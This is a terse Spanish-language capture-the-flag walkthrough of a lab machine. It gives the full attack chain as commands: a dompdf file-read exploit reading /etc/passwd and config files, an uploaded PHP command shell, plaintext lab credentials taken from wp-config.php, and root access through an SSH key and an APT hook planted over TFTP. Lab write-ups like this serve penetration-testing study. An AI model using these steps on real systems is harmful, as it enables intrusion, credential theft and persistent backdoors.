nmap -A -p- -oA inception 10.129.1.104 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA inception 10.129.1.104

nmap -sU -O -p- -oA inception-udp 10.129.1.104

nikto -h 10.129.1.104:80

Pasted image 20220316075236.png

Pasted image 20220316075411.png

whatweb -v http://10.129.1.104

Pasted image 20220316075926.png

http://10.129.1.104/dompdf/

Pasted image 20220316080436.png

searcshploit dompdf

searchsploit -m 33004

Pasted image 20220316080647.png

curl http://10.129.1.104/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd

Pasted image 20220316081218.png

python3

0x0016

Vemos que es en el puerto 22

![[Pasted image 20220316081549.png]]

Vemos el archivo proxychains.conf

Pasted image 20220316081953.png

proxychains nmap -p22 -sT -Pn -vv -n 127.0.0.1

Pasted image 20220316082137.png

Hacemos un base64 -d de 000-default.conf

Pasted image 20220316082357.png

Hacemos lo mismo para webda.passwd y conseguimos las credenciales.

Pasted image 20220316082551.png

Credenciales -> webdav_tester:babygurl69

Pasted image 20220316082747.png

Creamos un archivo de php con el siguiente codigo:

Pasted image 20220316083342.png

http://10.129.1.104/webdav_test_inception/cmd.php?cmd=id

Pasted image 20220316083512.png

https://github.com/s4vitar/ttyoverhttp

Pasted image 20220316090736.png

Cambiamos el codigo con el url correcto en este ejemplo seria 10.129.1.104 al archivo cmd.php. Se cambia la variable result

Pasted image 20220316091830.png

El codigo se deberia de ver asi:

Pasted image 20220316092101.png

python3 tty_over_http.py

cd /var/www/html/wordpress_4.8.3/

cat wp-config.php

Pasted image 20220316092854.png

Credenciales-> root:VwPddNh7xMZyDQoByQL4

Pasted image 20220316092954.png

su cobb

Y usamos el password de arriba

Pasted image 20220316094151.png

proxychains ssh cobb@127.0.0.1

Pasted image 20220316095345.png

Estamos en un contenedor

hostname -I

Pasted image 20220316095554.png

touch hostDiscovery.sh

chmod +x hostDiscovery.sh

vim hostDiscovery.sh

Pasted image 20220316101003.png

cat hostDiscovery.sh

Pasted image 20220316100941.png

./hostDiscovery.sh

Pasted image 20220316101203.png

chmod +x portDiscovery.sh

./portDiscovery.sh

Pasted image 20220316101356.png

ftp 192.168.0.1

Pasted image 20220316101603.png

cat /var/www/html/wordpress_4.8.3/wp-config.php | grep -i password

sudo su

Usamos el password VwPddNh7xMZyDQoByQL4

ssh-keygen

cd /root/.ssh

cat id_rsa.pub

tftp 192.168.0.1

put id_rsa.pub /root/.ssh/authorized_keys

Pasted image 20220316102140.png

echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > access

cat access

Pasted image 20220316113952.png

tftp 192.168.0.1

put access /etc/apt/apt.conf.d/access

Pasted image 20220316113907.png

ssh root@192.168.0.1

cat /root/root.txt

Pasted image 20220316114241.png

boxes

copyright©2022 Cu3rv0x all rights reserved